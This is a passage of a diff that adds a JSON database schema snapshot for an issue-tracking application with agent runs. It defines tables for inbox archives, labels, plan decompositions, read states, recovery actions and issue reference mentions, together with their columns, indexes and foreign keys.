+          "name": "issue_execution_decisions_actor_agent_id_agents_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_execution_decisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_execution_decisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_inbox_archives": {
+      "name": "issue_inbox_archives",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "archived_by_actor_type": {
+          "name": "archived_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'user'"
+        },
+        "archived_by_agent_id": {
+          "name": "archived_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_run_id": {
+          "name": "archived_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_inbox_archives_company_issue_idx": {
+          "name": "issue_inbox_archives_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_inbox_archives_company_user_idx": {
+          "name": "issue_inbox_archives_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_inbox_archives_company_issue_user_idx": {
+          "name": "issue_inbox_archives_company_issue_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_inbox_archives_company_id_companies_id_fk": {
+          "name": "issue_inbox_archives_company_id_companies_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_inbox_archives_issue_id_issues_id_fk": {
+          "name": "issue_inbox_archives_issue_id_issues_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_inbox_archives_archived_by_agent_id_agents_id_fk": {
+          "name": "issue_inbox_archives_archived_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "archived_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_inbox_archives_archived_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_inbox_archives_archived_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "archived_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "issue_inbox_archives_archived_by_actor_type_check": {
+          "name": "issue_inbox_archives_archived_by_actor_type_check",
+          "value": "\"issue_inbox_archives\".\"archived_by_actor_type\" in ('user', 'agent')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.issue_labels": {
+      "name": "issue_labels",
+      "schema": "",
+      "columns": {
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label_id": {
+          "name": "label_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_labels_issue_idx": {
+          "name": "issue_labels_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_labels_label_idx": {
+          "name": "issue_labels_label_idx",
+          "columns": [
+            {
+              "expression": "label_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_labels_company_idx": {
+          "name": "issue_labels_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_labels_issue_id_issues_id_fk": {
+          "name": "issue_labels_issue_id_issues_id_fk",
+          "tableFrom": "issue_labels",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_labels_label_id_labels_id_fk": {
+          "name": "issue_labels_label_id_labels_id_fk",
+          "tableFrom": "issue_labels",
+          "tableTo": "labels",
+          "columnsFrom": [
+            "label_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_labels_company_id_companies_id_fk": {
+          "name": "issue_labels_company_id_companies_id_fk",
+          "tableFrom": "issue_labels",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "issue_labels_pk": {
+          "name": "issue_labels_pk",
+          "columns": [
+            "issue_id",
+            "label_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_plan_decompositions": {
+      "name": "issue_plan_decompositions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "accepted_plan_revision_id": {
+          "name": "accepted_plan_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "accepted_interaction_id": {
+          "name": "accepted_interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'in_flight'"
+        },
+        "request_fingerprint": {
+          "name": "request_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requested_child_count": {
+          "name": "requested_child_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "requested_children": {
+          "name": "requested_children",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "child_issue_ids": {
+          "name": "child_issue_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_run_id": {
+          "name": "owner_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_plan_decompositions_company_source_status_idx": {
+          "name": "issue_plan_decompositions_company_source_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_plan_decompositions_active_owner_idx": {
+          "name": "issue_plan_decompositions_active_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"issue_plan_decompositions\".\"status\" = 'in_flight'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_plan_decompositions_source_revision_uq": {
+          "name": "issue_plan_decompositions_source_revision_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "accepted_plan_revision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_plan_decompositions_company_id_companies_id_fk": {
+          "name": "issue_plan_decompositions_company_id_companies_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_source_issue_id_issues_id_fk": {
+          "name": "issue_plan_decompositions_source_issue_id_issues_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_accepted_plan_revision_id_document_revisions_id_fk": {
+          "name": "issue_plan_decompositions_accepted_plan_revision_id_document_revisions_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "accepted_plan_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_accepted_interaction_id_issue_thread_interactions_id_fk": {
+          "name": "issue_plan_decompositions_accepted_interaction_id_issue_thread_interactions_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "issue_thread_interactions",
+          "columnsFrom": [
+            "accepted_interaction_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_owner_agent_id_agents_id_fk": {
+          "name": "issue_plan_decompositions_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_owner_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_plan_decompositions_owner_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "owner_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_read_states": {
+      "name": "issue_read_states",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "last_read_at": {
+          "name": "last_read_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_read_states_company_issue_idx": {
+          "name": "issue_read_states_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_read_states_company_user_idx": {
+          "name": "issue_read_states_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_read_states_company_issue_user_idx": {
+          "name": "issue_read_states_company_issue_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_read_states_company_id_companies_id_fk": {
+          "name": "issue_read_states_company_id_companies_id_fk",
+          "tableFrom": "issue_read_states",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_read_states_issue_id_issues_id_fk": {
+          "name": "issue_read_states_issue_id_issues_id_fk",
+          "tableFrom": "issue_read_states",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_recovery_actions": {
+      "name": "issue_recovery_actions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "recovery_issue_id": {
+          "name": "recovery_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "owner_type": {
+          "name": "owner_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'agent'"
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "previous_owner_agent_id": {
+          "name": "previous_owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "return_owner_agent_id": {
+          "name": "return_owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cause": {
+          "name": "cause",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "fingerprint": {
+          "name": "fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "evidence": {
+          "name": "evidence",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "next_action": {
+          "name": "next_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "wake_policy": {
+          "name": "wake_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_policy": {
+          "name": "monitor_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "attempt_count": {
+          "name": "attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "max_attempts": {
+          "name": "max_attempts",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "timeout_at": {
+          "name": "timeout_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_attempt_at": {
+          "name": "last_attempt_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolution_note": {
+          "name": "resolution_note",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_recovery_actions_company_source_status_idx": {
+          "name": "issue_recovery_actions_company_source_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_company_owner_status_idx": {
+          "name": "issue_recovery_actions_company_owner_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_company_recovery_issue_idx": {
+          "name": "issue_recovery_actions_company_recovery_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "recovery_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_active_source_uq": {
+          "name": "issue_recovery_actions_active_source_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_recovery_actions\".\"status\" in ('active', 'escalated')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_active_fingerprint_uq": {
+          "name": "issue_recovery_actions_active_fingerprint_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "cause",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_recovery_actions\".\"status\" in ('active', 'escalated')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_recovery_actions_company_id_companies_id_fk": {
+          "name": "issue_recovery_actions_company_id_companies_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_source_issue_id_issues_id_fk": {
+          "name": "issue_recovery_actions_source_issue_id_issues_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_recovery_issue_id_issues_id_fk": {
+          "name": "issue_recovery_actions_recovery_issue_id_issues_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "recovery_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_owner_agent_id_agents_id_fk": {
+          "name": "issue_recovery_actions_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_previous_owner_agent_id_agents_id_fk": {
+          "name": "issue_recovery_actions_previous_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "previous_owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_return_owner_agent_id_agents_id_fk": {
+          "name": "issue_recovery_actions_return_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "return_owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_reference_mentions": {
+      "name": "issue_reference_mentions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_issue_id": {
+          "name": "target_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_record_id": {
+          "name": "source_record_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_key": {
+          "name": "document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_text": {
+          "name": "matched_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_reference_mentions_company_source_issue_idx": {
+          "name": "issue_reference_mentions_company_source_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_target_issue_idx": {
+          "name": "issue_reference_mentions_company_target_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_issue_pair_idx": {
+          "name": "issue_reference_mentions_company_issue_pair_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_source_mention_record_uq": {
+          "name": "issue_reference_mentions_company_source_mention_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_record_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_reference_mentions\".\"source_record_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_source_mention_null_record_uq": {
+          "name": "issue_reference_mentions_company_source_mention_null_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
